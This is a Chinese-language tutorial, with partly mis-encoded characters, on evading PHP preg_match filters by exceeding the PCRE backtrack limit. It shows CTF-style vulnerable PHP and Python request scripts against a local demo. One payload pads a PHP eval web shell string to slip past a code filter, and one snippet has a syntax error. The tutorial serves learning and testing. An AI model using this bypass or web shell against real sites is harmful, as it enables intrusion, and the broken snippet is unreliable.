php正則回溯繞過(guò)最大次數(shù)上限案例詳解
什么是正則回溯
從問(wèn)題的某一種狀態(tài)(初始狀態(tài))出發(fā),搜索從這種狀態(tài)出發(fā)所能達(dá)到的所有“狀態(tài)”,當(dāng)一條路走到“盡頭”的時(shí)候(不能再前進(jìn)),再后退一步或若干步,從另一種可能“狀態(tài)”出發(fā),繼續(xù)搜索,直到所有的“路徑”(狀態(tài))都試探過(guò)。這種不斷“前進(jìn)”、不斷“回溯”尋找解的方法,就稱作“回溯法”。本質(zhì)上就是深度優(yōu)先搜索算法。其中退到之前的某一步這一過(guò)程,我們稱為“回溯”。
非貪婪模式回溯過(guò)程:
text = "abc"
regex = "ab{1,3}c"
為什么可以利用正則回溯進(jìn)行繞過(guò)
大量的回溯會(huì)長(zhǎng)時(shí)間地占用CPU,從而帶來(lái)系統(tǒng)性的開(kāi)銷。PHP為了防止正則表達(dá)式的拒絕服務(wù)攻擊(reDOS),給pcre設(shè)定了一個(gè)回溯次數(shù)上限pcre.backtrack_limit
。我們可以通過(guò)var_dump(ini_get('pcre.backtrack_limit'));
的方式查看當(dāng)前環(huán)境下的上限,最大回溯次數(shù)默認(rèn)為1000000次,如果超過(guò)一百萬(wàn)次preg_match函數(shù)返回的非 1 和 0,而是 false
表示此次執(zhí)行失敗。
在PHP中 ‘==’ 是松散比較 ‘0’與’flase’ 是相等的:
- 使用兩個(gè)等號(hào) == 比較,只比較值,不比較類型。
- 嚴(yán)格比較:用三個(gè)等號(hào) === 比較,除了比較值,也比較類型。
- == 在進(jìn)行比較的時(shí)候,會(huì)先將字符串類型轉(zhuǎn)化成相同,再比較
"0" == false: bool(true)
"0" === false: bool(false)
php正則回溯繞過(guò)案例一
PHP源碼:
<?php $input = $_POST['file']; if(is_php($input)=='0') { echo "flag{raoguo-cenggong}"; }else{ echo "bad requests"; } function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); }
python繞過(guò)源碼:
import requests datas = { 'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000 } res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas) print(res.text)
當(dāng)回溯次數(shù)為999990次時(shí)的運(yùn)行結(jié)果:
當(dāng)回溯次數(shù)為1000000次時(shí)的運(yùn)行結(jié)果:
php正則回溯繞過(guò)案例二
php源碼:
<?php function areyouok($greeting){ return preg_match('/Merry.*Christmas/is',$greeting); } $greeting=@$_POST['greeting']; if(!is_array($greeting)){ if(!areyouok($greeting)){ if(strpos($greeting,'Merry Christmas')!==false){ echo 'flag{cheng-gong}'; }else{ echo 'no have Merry Christmas'; } }else{ echo 'Bypass the failure'; } } ?>
python源碼:
import requests datas = { 'greeting': 'Merry Christmas'+'h'*100000 } res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas) print(res.text)
運(yùn)行結(jié)果:
python測(cè)試:
沒(méi)有 ‘Merry Christmas’ 前綴的運(yùn)行結(jié)果
import requests datas = { 'greeting': h'*1000000 } res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas) print(res.text)
運(yùn)行結(jié)果:
到此這篇關(guān)于php正則回溯繞過(guò)最大次數(shù)上限案例詳解的文章就介紹到這了,更多相關(guān)php正則回溯內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
PHP中通過(guò)語(yǔ)義URL防止網(wǎng)站被攻擊的方法分享
好奇心是很多攻擊者的主要?jiǎng)訖C(jī),語(yǔ)義URL 攻擊就是一個(gè)很好的例子。此類攻擊主要包括對(duì)URL 進(jìn)行編輯以期發(fā)現(xiàn)一些有趣的事情。2011-09-09php記錄代碼執(zhí)行時(shí)間(實(shí)現(xiàn)代碼)
本篇文章是對(duì)php記錄代碼執(zhí)行時(shí)間的實(shí)現(xiàn)代碼進(jìn)行了詳細(xì)的分析介紹,需要的朋友可以參考下2013-07-07PHP中常用的三種設(shè)計(jì)模式詳解【單例模式、工廠模式、觀察者模式】
這篇文章主要介紹了PHP中常用的三種設(shè)計(jì)模式,結(jié)合實(shí)例形式詳細(xì)分析了php單例模式、工廠模式與觀察者模式概念、功能、相關(guān)使用技巧與操作注意事項(xiàng),需要的朋友可以參考下2019-06-06安裝ImageMagick出現(xiàn)error while loading shared libraries的解決方法
這篇文章主要介紹了安裝ImageMagick出現(xiàn)error while loading shared libraries的解決方法,是ImageMagick安裝與運(yùn)行中經(jīng)常出現(xiàn)的問(wèn)題,需要的朋友可以參考下2014-09-09joomla jce editor 解決上傳中文名文件失敗問(wèn)題
要么上傳失敗,要么傳上去了中文名不能被web訪問(wèn),研究了下JCE的源碼,改掉保存文件名的方式,使用純數(shù)字來(lái)作為文件名,具體修改如下,遇到類型情況的朋友可以參考下哈2013-06-06